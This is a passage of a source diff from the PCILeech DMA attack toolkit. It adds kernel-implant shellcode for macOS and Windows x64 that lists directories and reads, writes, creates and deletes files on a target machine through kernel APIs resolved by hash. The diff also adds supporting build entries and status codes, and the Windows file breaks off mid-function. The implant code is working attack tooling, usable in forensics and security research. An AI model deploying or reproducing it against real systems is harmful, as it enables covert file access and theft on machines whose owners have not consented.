pAttrRef = (attrreference_t*)pbRecord;
|
||||
pbRecord += sizeof(attrreference_t);
|
||||
qw = pAttrRef->attr_length;
|
||||
if(qw > MAX_PATH - 1) {
|
||||
qw = MAX_PATH - 1;
|
||||
}
|
||||
for(i = 0; i < qw; i++) {
|
||||
pfi->wszFileName[i] = *(PCHAR)((QWORD)pAttrRef + pAttrRef->attr_dataoffset + i);
|
||||
}
|
||||
}
|
||||
if(pAttrSet->commonattr & ATTR_CMN_OBJTYPE) {
|
||||
// vnode type
|
||||
dw = *(PDWORD)pbRecord;
|
||||
pbRecord += sizeof(DWORD);
|
||||
if(dw == VREG) {
|
||||
pfi->flags |= VFS_FLAGS_FILE_NORMAL;
|
||||
} else if(dw == VDIR) {
|
||||
pfi->flags |= VFS_FLAGS_FILE_DIRECTORY;
|
||||
} else if(dw == VLNK) {
|
||||
pfi->flags |= VFS_FLAGS_FILE_SYMLINK;
|
||||
} else {
|
||||
pfi->flags |= VFS_FLAGS_FILE_OTHER;
|
||||
}
|
||||
}
|
||||
if(pAttrSet->commonattr & ATTR_CMN_CRTIME) {
|
||||
pts = (struct timespec*)pbRecord;
|
||||
pbRecord += sizeof(struct timespec);
|
||||
pfi->tCreateOpt = UnixToWindowsFiletime(pts->tv_sec);
|
||||
}
|
||||
if(pAttrSet->commonattr & ATTR_CMN_MODTIME) {
|
||||
pts = (struct timespec*)pbRecord;
|
||||
pbRecord += sizeof(struct timespec);
|
||||
pfi->tModifyOpt = UnixToWindowsFiletime(pts->tv_sec);
|
||||
}
|
||||
if(pAttrSet->commonattr & ATTR_CMN_ACCTIME) {
|
||||
pts = (struct timespec*)pbRecord;
|
||||
pbRecord += sizeof(struct timespec);
|
||||
pfi->tAccessOpt = UnixToWindowsFiletime(pts->tv_sec);
|
||||
}
|
||||
if(pAttrSet->fileattr & ATTR_FILE_TOTALSIZE) {
|
||||
pfi->cb = *(PQWORD)pbRecord;
|
||||
pbRecord += sizeof(QWORD);
|
||||
}
|
||||
}
|
||||
SysVCall(pfn2->uio_free, uio);
|
||||
uio = 0;
|
||||
cfi += actualcount;
|
||||
}
|
||||
pk->dataOutExtraLength = cfi * sizeof(VFS_RESULT_FILEINFO);
|
||||
fail:
|
||||
if(uio) { SysVCall(pfn2->uio_free, uio); }
|
||||
if(vnode) { SysVCall(pfn2->vnode_put, vnode); }
|
||||
return cfi ? STATUS_SUCCESS : status;
|
||||
}
|
||||
|
||||
STATUS VfsDelete(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(pk);
|
||||
UNREFERENCED_PARAMETER(pfn2);
|
||||
UNREFERENCED_PARAMETER(pop);
|
||||
return STATUS_FAIL_NOT_IMPLEMENTED;
|
||||
}
|
||||
|
||||
STATUS VfsRead(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(pk);
|
||||
DWORD status = STATUS_SUCCESS;
|
||||
QWORD uio = 0, vnode = 0, vfs_current;
|
||||
vfs_current = SysVCall(pfn2->vfs_context_current);
|
||||
if(SysVCall(pfn2->vnode_lookup, pop->szFileName, 0, &vnode, vfs_current)) {
|
||||
status = STATUS_FAIL_FILE_CANNOT_OPEN;
|
||||
goto fail;
|
||||
}
|
||||
uio = SysVCall(pfn2->uio_create, 1 /* count iov */, pop->offset /* offset */, 2 /* kernel addr */, 0 /* read */);
|
||||
if(SysVCall(pfn2->uio_addiov, uio, pk->DMAAddrVirtual + pk->dataOutExtraOffset, pk->dataOutExtraLengthMax)) {
|
||||
status = STATUS_FAIL_FILE_CANNOT_OPEN;
|
||||
goto fail;
|
||||
}
|
||||
if(SysVCall(pfn2->VNOP_READ, vnode, uio, 0, vfs_current)) {
|
||||
status = STATUS_FAIL_FILE_CANNOT_OPEN;
|
||||
goto fail;
|
||||
}
|
||||
pk->dataOutExtraLength = pk->dataOutExtraLengthMax - SysVCall(pfn2->uio_resid, uio);
|
||||
fail:
|
||||
if(uio) { SysVCall(pfn2->uio_free, uio); }
|
||||
if(vnode) { SysVCall(pfn2->vnode_put, vnode); }
|
||||
return status;
|
||||
}
|
||||
|
||||
STATUS VfsWrite(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(pk);
|
||||
DWORD status = STATUS_SUCCESS;
|
||||
QWORD uio = 0, vnode = 0, flags = 0, vfs_current;
|
||||
flags |= O_WRONLY;
|
||||
flags |= (pop->flags & VFS_FLAGS_TRUNCATE_ON_WRITE) ? O_TRUNC : 0;
|
||||
flags |= (pop->flags & VFS_FLAGS_APPEND_ON_WRITE) ? O_APPEND : 0;
|
||||
vfs_current = SysVCall(pfn2->vfs_context_current);
|
||||
if(SysVCall(pfn2->vnode_open, pop->szFileName, flags, 0, 0, &vnode, vfs_current)) {
|
||||
status = STATUS_FAIL_FILE_CANNOT_OPEN;
|
||||
goto fail;
|
||||
}
|
||||
uio = SysVCall(pfn2->uio_create, 1 /* count iov */, pop->offset /* offset */, 2 /* kernel addr */, 1 /* write */);
|
||||
if(SysVCall(pfn2->uio_addiov, uio, pop->pb, pop->cb)) {
|
||||
status = STATUS_FAIL_FILE_CANNOT_OPEN;
|
||||
goto fail;
|
||||
}
|
||||
if(SysVCall(pfn2->VNOP_WRITE, vnode, uio, 0, vfs_current)) {
|
||||
status = STATUS_FAIL_FILE_CANNOT_OPEN;
|
||||
goto fail;
|
||||
}
|
||||
if(flags & O_TRUNC) {
|
||||
SysVCall(pfn2->vnode_setsize, vnode, pop->offset + pop->cb, 0, vfs_current);
|
||||
}
|
||||
fail:
|
||||
if(uio) { SysVCall(pfn2->uio_free, uio); }
|
||||
if(vnode) { SysVCall(pfn2->vnode_close, vnode, 0x10000 /* descriptor written */, vfs_current); }
|
||||
return status;
|
||||
}
|
||||
|
||||
STATUS VfsCreate(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(pk);
|
||||
DWORD status = STATUS_SUCCESS;
|
||||
QWORD vnode = 0, vfs_current;
|
||||
vfs_current = SysVCall(pfn2->vfs_context_current);
|
||||
if(SysVCall(pfn2->vnode_open, pop->szFileName, O_CREAT | O_WRONLY | O_TRUNC, 0x1ff /*-rwxrwxrwx*/, 0, &vnode, vfs_current)) {
|
||||
status = STATUS_FAIL_FILE_CANNOT_OPEN;
|
||||
goto fail;
|
||||
}
|
||||
fail:
|
||||
if(vnode) { SysVCall(pfn2->vnode_close, vnode, 0x10000 /* descriptor written */, vfs_current); }
|
||||
return status;
|
||||
}
|
||||
|
||||
VOID c_EntryPoint(PKMDDATA pk)
|
||||
{
|
||||
PVFS_OPERATION pop;
|
||||
FN2 fn2;
|
||||
// initialize kernel functions
|
||||
if(!LookupFunctions2(pk, &fn2)) {
|
||||
pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;
|
||||
return;
|
||||
}
|
||||
// setup references to in/out data and check validity
|
||||
pop = (PVFS_OPERATION)(pk->DMAAddrVirtual + pk->dataInExtraOffset);
|
||||
if((pk->dataInExtraLength < sizeof(VFS_OPERATION)) || (pop->magic != VFS_OP_MAGIC) || (pop->flags & VFS_FLAGS_UNICODE)) {
|
||||
pk->dataOut[0] = STATUS_FAIL_SIGNATURE_NOT_FOUND;
|
||||
return;
|
||||
}
|
||||
// take action
|
||||
if(pop->op == VFS_OP_CMD_LIST_DIRECTORY) {
|
||||
pk->dataOut[0] = VfsList(pk, &fn2, pop);
|
||||
return;
|
||||
}
|
||||
if(pop->op == VFS_OP_CMD_READ) {
|
||||
pk->dataOut[0] = VfsRead(pk, &fn2, pop);
|
||||
return;
|
||||
}
|
||||
if(pop->op == VFS_OP_CMD_WRITE) {
|
||||
pk->dataOut[0] = VfsWrite(pk, &fn2, pop);
|
||||
return;
|
||||
}
|
||||
if(pop->op == VFS_OP_CMD_CREATE) {
|
||||
pk->dataOut[0] = VfsCreate(pk, &fn2, pop);
|
||||
return;
|
||||
}
|
||||
if(pop->op == VFS_OP_CMD_DELETE) {
|
||||
pk->dataOut[0] = VfsDelete(pk, &fn2, pop);
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -56,11 +56,13 @@
|
||||
<ClCompile Include="lx64_filepull.c" />
|
||||
<ClCompile Include="lx64_filepush.c" />
|
||||
<ClCompile Include="lx64_stage3_c.c" />
|
||||
<ClCompile Include="lx64_vfs.c" />
|
||||
<ClCompile Include="macos_common.c" />
|
||||
<ClCompile Include="macos_filepull.c" />
|
||||
<ClCompile Include="macos_filepush.c" />
|
||||
<ClCompile Include="macos_stage3_c.c" />
|
||||
<ClCompile Include="macos_unlock.c" />
|
||||
<ClCompile Include="macos_vfs.c" />
|
||||
<ClCompile Include="wx64_common.c" />
|
||||
<ClCompile Include="wx64_driverinfo.c" />
|
||||
<ClCompile Include="wx64_driverload_svc.c" />
|
||||
@@ -74,6 +76,7 @@
|
||||
<ClCompile Include="wx64_pslist.c" />
|
||||
<ClCompile Include="wx64_stage3_c.c" />
|
||||
<ClCompile Include="wx64_unlock.c" />
|
||||
<ClCompile Include="wx64_vfs.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="fbsdx64_common_a.asm" />
|
||||
|
||||
@@ -31,6 +31,9 @@
|
||||
<Filter Include="Source Files\driver">
|
||||
<UniqueIdentifier>{6f2a8f51-7e58-4913-9be5-0efa279dbe3a}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Source Files\vfs">
|
||||
<UniqueIdentifier>{fbf1519d-9768-4c2e-9bf2-c4a5f13a5f62}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="lx64_common.c">
|
||||
@@ -111,6 +114,15 @@
|
||||
<ClCompile Include="wx64_stage3_c.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="lx64_vfs.c">
|
||||
<Filter>Source Files\vfs</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="macos_vfs.c">
|
||||
<Filter>Source Files\vfs</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="wx64_vfs.c">
|
||||
<Filter>Source Files\vfs</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="lx64_common_a.asm">
|
||||
|
||||
@@ -6,6 +6,8 @@
|
||||
#ifndef __STATUSCODES_H__
|
||||
#define __STATUSCODES_H__
|
||||
|
||||
#define STATUS_SUCCESS 0x00000000
|
||||
#define STATUS_FAIL_BASE 0xf0000000
|
||||
#define STATUS_FAIL_FUNCTION_LOOKUP 0xf0000001
|
||||
#define STATUS_FAIL_FILE_CANNOT_OPEN 0xf0000002
|
||||
#define STATUS_FAIL_FILE_SIZE 0xf0000003
|
||||
@@ -16,6 +18,7 @@
|
||||
#define STATUS_FAIL_MEMORYMAP_NOT_FOUND 0xf0000008
|
||||
#define STATUS_FAIL_FILE_READWRITE 0xf0000009
|
||||
#define STATUS_FAIL_PCILEECH_CORE 0xf000000a
|
||||
#define STATUS_FAIL_NOT_IMPLEMENTED 0xf000000b
|
||||
|
||||
#define KMD_CMD_VOID 0xffff
|
||||
#define KMD_CMD_COMPLETED 0
|
||||
|
||||
@@ -93,6 +93,7 @@ VOID InitializeKernelFunctions(_In_ QWORD qwNtosBase, _Out_ PKERNEL_FUNCTIONS fn
|
||||
{ &fnk->ZwCreateFile, H_ZwCreateFile },
|
||||
{ &fnk->ZwOpenFile, H_ZwOpenFile },
|
||||
{ &fnk->ZwReadFile, H_ZwReadFile },
|
||||
{ &fnk->ZwQueryDirectoryFile, H_ZwQueryDirectoryFile },
|
||||
{ &fnk->ZwQuerySystemInformation, H_ZwQuerySystemInformation },
|
||||
{ &fnk->ZwSetSystemInformation, H_ZwSetSystemInformation },
|
||||
{ &fnk->ZwWriteFile, H_ZwWriteFile }
|
||||
|
||||
@@ -243,26 +243,39 @@ typedef struct tdKERNEL_FUNCTIONS {
|
||||
_In_ HANDLE hObject
|
||||
);
|
||||
NTSTATUS(*ZwCreateFile)(
|
||||
_Out_ PHANDLE FileHandle,
|
||||
_In_ ACCESS_MASK DesiredAccess,
|
||||
_In_ PVOID ObjectAttributes,
|
||||
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
|
||||
_In_opt_ PLARGE_INTEGER AllocationSize,
|
||||
_In_ ULONG FileAttributes,
|
||||
_In_ ULONG ShareAccess,
|
||||
_In_ ULONG CreateDisposition,
|
||||
_In_ ULONG CreateOptions,
|
||||
_Out_ PHANDLE FileHandle,
|
||||
_In_ ACCESS_MASK DesiredAccess,
|
||||
_In_ PVOID ObjectAttributes,
|
||||
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
|
||||
_In_opt_ PLARGE_INTEGER AllocationSize,
|
||||
_In_ ULONG FileAttributes,
|
||||
_In_ ULONG ShareAccess,
|
||||
_In_ ULONG CreateDisposition,
|
||||
_In_ ULONG CreateOptions,
|
||||
_In_reads_bytes_opt_(EaLength) PVOID EaBuffer,
|
||||
_In_ ULONG EaLength
|
||||
_In_ ULONG EaLength
|
||||
);
|
||||
NTSTATUS(*ZwOpenFile)(
|
||||
_Out_ PHANDLE FileHandle,
|
||||
_In_ ACCESS_MASK DesiredAccess,
|
||||
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
|
||||
_In_ ULONG ShareAccess,
|
||||
_In_ ULONG OpenOptions
|
||||
_Out_ PHANDLE FileHandle,
|
||||
_In_ ACCESS_MASK DesiredAccess,
|
||||
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
|
||||
_In_ ULONG ShareAccess,
|
||||
_In_ ULONG OpenOptions
|
||||
);
|
||||
NTSTATUS(*ZwQueryDirectoryFile)(
|
||||
_In_ HANDLE FileHandle,
|
||||
_In_opt_ HANDLE Event,
|
||||
_In_opt_ PVOID ApcRoutine,
|
||||
_In_opt_ PVOID ApcContext,
|
||||
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
|
||||
_Out_ PVOID FileInformation,
|
||||
_In_ ULONG Length,
|
||||
_In_ QWORD FileInformationClass,
|
||||
_In_ BOOLEAN ReturnSingleEntry,
|
||||
_In_opt_ PUNICODE_STRING FileName,
|
||||
_In_ BOOLEAN RestartScan
|
||||
);
|
||||
NTSTATUS(*ZwQuerySystemInformation)(
|
||||
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
|
||||
_Inout_ PVOID SystemInformation,
|
||||
@@ -341,10 +354,13 @@ typedef struct tdKERNEL_FUNCTIONS {
|
||||
#define H_ZwClose 0x5d044c61
|
||||
#define H_ZwCreateFile 0xc3a08f9d
|
||||
#define H_ZwCreateKey 0x11c719c1
|
||||
#define H_ZwDeleteFile 0xb6b0987d
|
||||
#define H_ZwLoadDriver 0x0675aa53
|
||||
#define H_ZwOpenFile 0x8829d4b8
|
||||
#define H_ZwOpenProcess 0xf0d09d60
|
||||
#define H_ZwReadFile 0x87fd3516
|
||||
#define H_ZwQueryDirectoryFile 0x6fb06450
|
||||
#define H_ZwQueryInformationFile 0xd7cd4118
|
||||
#define H_ZwQuerySystemInformation 0xe661cae2
|
||||
#define H_ZwSetSystemInformation 0xf7e624de
|
||||
#define H_ZwSetValueKey 0x03a49be5
|
||||
|
||||
250
pcileech_shellcode/wx64_vfs.c
Normal file
250
pcileech_shellcode/wx64_vfs.c
Normal file
@@ -0,0 +1,250 @@
|
||||
// wx64_vfs.c : kernel code to support the PCILeech file system.
|
||||
// Compatible with Windows x64.
|
||||
//
|
||||
// (c) Ulf Frisk, 2017
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
// compile with:
|
||||
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c
|
||||
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_vfs.c
|
||||
// ml64 wx64_common_a.asm /Fewx64_vfs.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_vfs.obj wx64_common.obj
|
||||
// shellcode64.exe -o wx64_vfs.exe
|
||||
//
|
||||
#include "wx64_common.h"
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// Core defines and typedefs shared between kernel implants and pcileech.
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#define VFS_OP_MAGIC 0x79e720ad93aa130f
|
||||
#define VFS_OP_CMD_LIST_DIRECTORY 1
|
||||
#define VFS_OP_CMD_WRITE 2
|
||||
#define VFS_OP_CMD_READ 3
|
||||
#define VFS_OP_CMD_CREATE 4
|
||||
#define VFS_OP_CMD_DELETE 5
|
||||
|
||||
#define VFS_FLAGS_FILE_NORMAL 0x01
|
||||
#define VFS_FLAGS_FILE_DIRECTORY 0x02
|
||||
#define VFS_FLAGS_FILE_SYMLINK 0x04
|
||||
#define VFS_FLAGS_FILE_OTHER 0x08
|
||||
#define VFS_FLAGS_UNICODE 0x10
|
||||
#define VFS_FLAGS_EXIST_FILE 0x20
|
||||
#define VFS_FLAGS_TRUNCATE_ON_WRITE 0x40
|
||||
#define VFS_FLAGS_APPEND_ON_WRITE 0x80
|
||||
|
||||
typedef struct tdVFS_OPERATION {
|
||||
QWORD magic;
|
||||
QWORD op;
|
||||
QWORD flags;
|
||||
CHAR szFileName[MAX_PATH];
|
||||
WCHAR wszFileName[MAX_PATH];
|
||||
QWORD offset;
|
||||
QWORD cb;
|
||||
BYTE pb[];
|
||||
} VFS_OPERATION, *PVFS_OPERATION;
|
||||
|
||||
typedef struct tdVFS_RESULT_FILEINFO {
|
||||
QWORD flags;
|
||||
QWORD tAccessOpt;
|
||||
QWORD tModifyOpt;
|
||||
QWORD tCreateOpt;
|
||||
QWORD dbg1;
|
||||
QWORD dbg2;
|
||||
QWORD cb;
|
||||
WCHAR wszFileName[MAX_PATH];
|
||||
} VFS_RESULT_FILEINFO, *PVFS_RESULT_FILEINFO;
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// Other required defines and typedefs.
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
typedef struct _FILE_BOTH_DIR_INFORMATION {
|
||||
ULONG NextEntryOffset;
|
||||
ULONG FileIndex;
|
||||
QWORD CreationTime;
|
||||
QWORD LastAccessTime;
|
||||
QWORD LastWriteTime;
|
||||
QWORD ChangeTime;
|
||||
QWORD EndOfFile;
|
||||
QWORD AllocationSize;
|
||||
ULONG FileAttributes;
|
||||
ULONG FileNameLength;
|
||||
ULONG EaSize;
|
||||
CCHAR ShortNameLength;
|
||||
WCHAR ShortName[12];
|
||||
WCHAR FileName[1];
|
||||
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
|
||||
|
||||
#define STATUS_UNSUCCESSFUL 0xC0000001
|
||||
#define OBJ_CASE_INSENSITIVE 0x00000040
|
||||
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
|
||||
#define FILE_OPEN 0x00000001
|
||||
#define FILE_OVERWRITE_IF 0x00000005
|
||||
#define OBJ_KERNEL_HANDLE 0x00000200
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// Functions below.
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
NTSTATUS VfsWrite(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PVFS_OPERATION pop)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(pk);
|
||||
NTSTATUS nt;
|
||||
HANDLE hFile = 0;
|
||||
IO_STATUS_BLOCK _io;
|
||||
OBJECT_ATTRIBUTES _oa;
|
||||
UNICODE_STRING _su;
|
||||
ULONG CreateDisposition;
|
||||
ACCESS_MASK DesiredAccess;
|
||||
fnk->RtlZeroMemory(&_oa, sizeof(OBJECT_ATTRIBUTES));
|
||||
fnk->RtlZeroMemory(&_io, sizeof(IO_STATUS_BLOCK));
|
||||
fnk->RtlInitUnicodeString(&_su, pop->wszFileName);
|
||||
InitializeObjectAttributes(&_oa, &_su, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
|
||||
DesiredAccess = (pop->flags & VFS_FLAGS_APPEND_ON_WRITE) ? FILE_APPEND_DATA : GENERIC_WRITE;
|
||||
CreateDisposition = ((pop->flags & VFS_FLAGS_TRUNCATE_ON_WRITE) && (0 == pop->offset)) ? FILE_OVERWRITE_IF : FILE_OPEN;
|
||||
nt = fnk->ZwCreateFile(&hFile, DesiredAccess, &_oa, &_io, NULL, FILE_ATTRIBUTE_NORMAL, 0, CreateDisposition, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
|
||||
if(nt) { goto cleanup; }
|
||||
nt = fnk->ZwWriteFile(hFile, NULL, NULL, NULL, &_io, pop->pb, (DWORD)pop->cb, (PLARGE_INTEGER)&pop->offset, 0);
|
||||
cleanup:
|
||||
if(hFile) { fnk->ZwClose(hFile); }
|
||||
return nt;
|
||||
}
|
||||
|
||||
NTSTATUS VfsRead(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PVFS_OPERATION pop)
|
||||
{
|
||||
NTSTATUS nt;
|
||||
HANDLE hFile = 0;
|
||||
IO_STATUS_BLOCK _io;
|
||||
OBJECT_ATTRIBUTES _oa;
|
||||
UNICODE_STRING _su;
|
||||
fnk->RtlZeroMemory(&_oa, sizeof(OBJECT_ATTRIBUTES));
|
||||
fnk->RtlZeroMemory(&_io, sizeof(IO_STATUS_BLOCK));
|
||||
fnk->RtlInitUnicodeString(&_su, pop->wszFileName);
|
||||
InitializeObjectAttributes(&_oa, &_su, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
|
||||
nt = fnk->ZwCreateFile(&hFile, GENERIC_READ, &_oa, &_io, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
|
||||
if(nt) { goto cleanup; }
|
||||
nt = fnk->ZwReadFile(hFile, NULL, NULL, NULL, &_io, (PVOID)(pk->DMAAddrVirtual + pk->dataOutExtraOffset), (ULONG)pop->cb, &pop->offset, 0);
|
||||
if(nt) { goto cleanup; }
|
||||
pk->dataOutExtraLength = (QWORD)_io.Information;
|
||||
cleanup:
|
||||
if(hFile) { fnk->ZwClose(hFile); }
|
||||
return nt;
|
||||
}
|
||||
|
||||
NTSTATUS VfsList(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PVFS_OPERATION pop)
|
||||
{
|
||||
NTSTATUS nt = 0;
|
||||
HANDLE hFileFind = 0;
|
||||
UNICODE_STRING _su;
|
||||
IO_STATUS_BLOCK _io;
|
||||
OBJECT_ATTRIBUTES _oa;
|
||||
PVFS_RESULT_FILEINFO pfi;
|
||||
PFILE_BOTH_DIR_INFORMATION pdi;
|
||||
QWORD cfi = 0, cfiMax;
|
||||
BOOLEAN isRestartScan = TRUE;
|
||||
if(pk->dataOutExtraLengthMax < 0x00200000) { return STATUS_FAIL_OUTOFMEMORY; }
|
||||
pfi = (PVFS_RESULT_FILEINFO)(pk->DMAAddrVirtual + pk->dataOutExtraOffset);
|
||||
cfiMax = (pk->dataOutExtraLengthMax - 0x00100000) / sizeof(VFS_RESULT_FILEINFO);
|
||||
fnk->RtlZeroMemory(&_io, sizeof(IO_STATUS_BLOCK));
|
||||
fnk->RtlZeroMemory(&_oa, sizeof(OBJECT_ATTRIBUTES));
|
||||
fnk->RtlInitUnicodeString(&_su, pop->wszFileName);
|
||||
InitializeObjectAttributes(&_oa, &_su, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
|
||||
nt = fnk->ZwOpenFile(&hFileFind, FILE_LIST_DIRECTORY | SYNCHRONIZE, &_oa, &_io, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT | 1 /*FILE_DIRECTORY_FILE*/ | 0x4000 /*FILE_OPEN_FOR_BACKUP_INTENT*/);
|
||||
if(nt) { goto cleanup; }
|
||||
while(TRUE) {
|
||||
pdi = (PFILE_BOTH_DIR_INFORMATION)(pk->DMAAddrVirtual + pk->dataOutExtraOffset + pk->dataOutExtraLengthMax - 0x00100000);
|
||||
nt = fnk->ZwQueryDirectoryFile(hFileFind, NULL, NULL, NULL, &_io, pdi, 0x00100000, 3 /*FileBothDirectoryInformation*/, FALSE, NULL, isRestartScan);
|
||||
isRestartScan = FALSE;
|
||||
if(nt || (0 == _io.Information)) { goto cleanup; }
|
||||
while(TRUE) {
|
||||
fnk->RtlZeroMemory(pfi, sizeof(VFS_RESULT_FILEINFO));
|
||||
pfi->cb = pdi->EndOfFile;
|
||||
pfi->tAccessOpt = pdi->LastAccessTime;
|
||||
pfi->tCreateOpt = pdi->CreationTime;
|
||||
pfi->tModifyOpt = pdi->ChangeTime;
|
||||
pfi->flags |= VFS_FLAGS_UNICODE;
|
||||
pfi->flags |= (pdi->FileAttributes & FILE_ATTRIBUTE_DIRECTORY) ? VFS_FLAGS_FILE_DIRECTORY : VFS_FLAGS_FILE_NORMAL;
|
||||
fnk->RtlCopyMemory(pfi->wszFileName, pdi->FileName, min(MAX_PATH - 1, pdi->FileNameLength));
|
||||
pfi++;
|
||||
cfi++;
|
||||
if(cfi >= cfiMax) { goto cleanup; }
|
||||
if(0 == pdi->NextEntryOffset) { break; }
|
||||
pdi = (PFILE_BOTH_DIR_INFORMATION)((QWORD)pdi + pdi->NextEntryOffset);
|
||||
}
|
||||
}
|
||||
cleanup:
|
||||
pk->dataOutExtraLength = cfi * sizeof(VFS_RESULT_FILEINFO);
|
||||
if(hFileFind) { fnk->ZwClose(hFileFind); }
|
||||
return cfi ? 0 : nt;
|
||||
}
|
||||
|
||||
NTSTATUS VfsCreate(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PVFS_OPERATION pop)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(pk);
|
||||
NTSTATUS nt = 0;
|
||||
HANDLE hFile = 0;
|
||||
UNICODE_STRING _su;
|
||||
IO_STATUS_BLOCK _io;
|
||||
OBJECT_ATTRIBUTES _oa;
|
||||
fnk->RtlZeroMemory(&_io, sizeof(IO_STATUS_BLOCK));
|
||||
fnk->RtlZeroMemory(&_oa, sizeof(OBJECT_ATTRIBUTES));
|
||||
fnk->RtlInitUnicodeString(&_su, pop->wszFileName);
|
||||
InitializeObjectAttributes(&_oa, &_su, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
|
||||
nt = fnk->ZwCreateFile(&hFile, GENERIC_READ, &_oa, &_io, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE, 3/*FILE_OPEN_IF*/, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
|
||||
if(hFile) { fnk->ZwClose(hFile); }
|
||||
return nt;
|
||||
}
|
||||
|
||||
NTSTATUS VfsDelete(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PVFS_OPERATION pop)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(pk);
|
||||
NTSTATUS nt = 0;
|
||||
HANDLE hFile = 0;
|
||||
UNICODE_STRING _su;
|
||||
IO_STATUS_BLOCK _io;
|
||||
OBJECT_ATTRIBUTES _oa;
|
||||
fnk->RtlZeroMemory(&_io, sizeof(IO_STATUS_BLOCK));
|
||||
fnk->RtlZeroMemory(&_oa, sizeof(OBJECT_ATTRIBUTES));
|
||||
fnk->RtlInitUnicodeString(&_su, pop->wszFileName);
|
||||
InitializeObjectAttributes(&_oa, &_su, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
|
||||
nt = fnk->ZwCreateFile(&hFile, GENERIC_WRITE, &_oa, &_io, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_DELETE, FILE_OPEN, 0x00001000/*FILE_DELETE_ON_CLOSE*/, NULL, 0);
|
||||
if(hFile) { fnk->ZwClose(hFile); }
|
||||
return nt;
|
||||
}
|
||||
|
||||
VOID c_EntryPoint(_In_ PKMDDATA pk)
|
||||
{
|
||||
KERNEL_FUNCTIONS ofnk;
|
||||
PKERNEL_FUNCTIONS fnk;
|
||||
PVFS_OPERATION pop;
|
||||
// initialize kernel functions and strings
|
||||
InitializeKernelFunctions(pk->AddrKernelBase, &ofnk);
|
||||
fnk = &ofnk;
|
||||
// setup references to in/out data and check validity
|
||||
pop = (PVFS_OPERATION)(pk->DMAAddrVirtual + pk->dataInExtraOffset);
|
||||
if((pk->dataInExtraLength < sizeof(VFS_OPERATION)) || (pop->magic != VFS_OP_MAGIC)) {
|
||||
pk->dataOut[0] = (QWORD)STATUS_UNSUCCESSFUL;
|
||||
return;
|
||||
}
|
||||
// take action
|
||||
if(pop->op == VFS_OP_CMD_LIST_DIRECTORY) {
|
||||
pk->dataOut[0] = VfsList(pk, fnk, pop);
|
||||
return;
|
||||
}
|
||||
if(pop->op == VFS_OP_CMD_READ) {
|
||||
pk->dataOut[0] = VfsRead(pk, fnk, pop);
|
||||
return;
|
||||
}
|
||||
if(pop->op == VFS_OP_CMD_WRITE) {
|
||||
pk->dataOut[0] = VfsWrite(pk, fnk, pop);
|
||||
return;
|
||||
}
|
||||
if(pop->op == VFS_OP_CMD_CREATE) {
|
||||
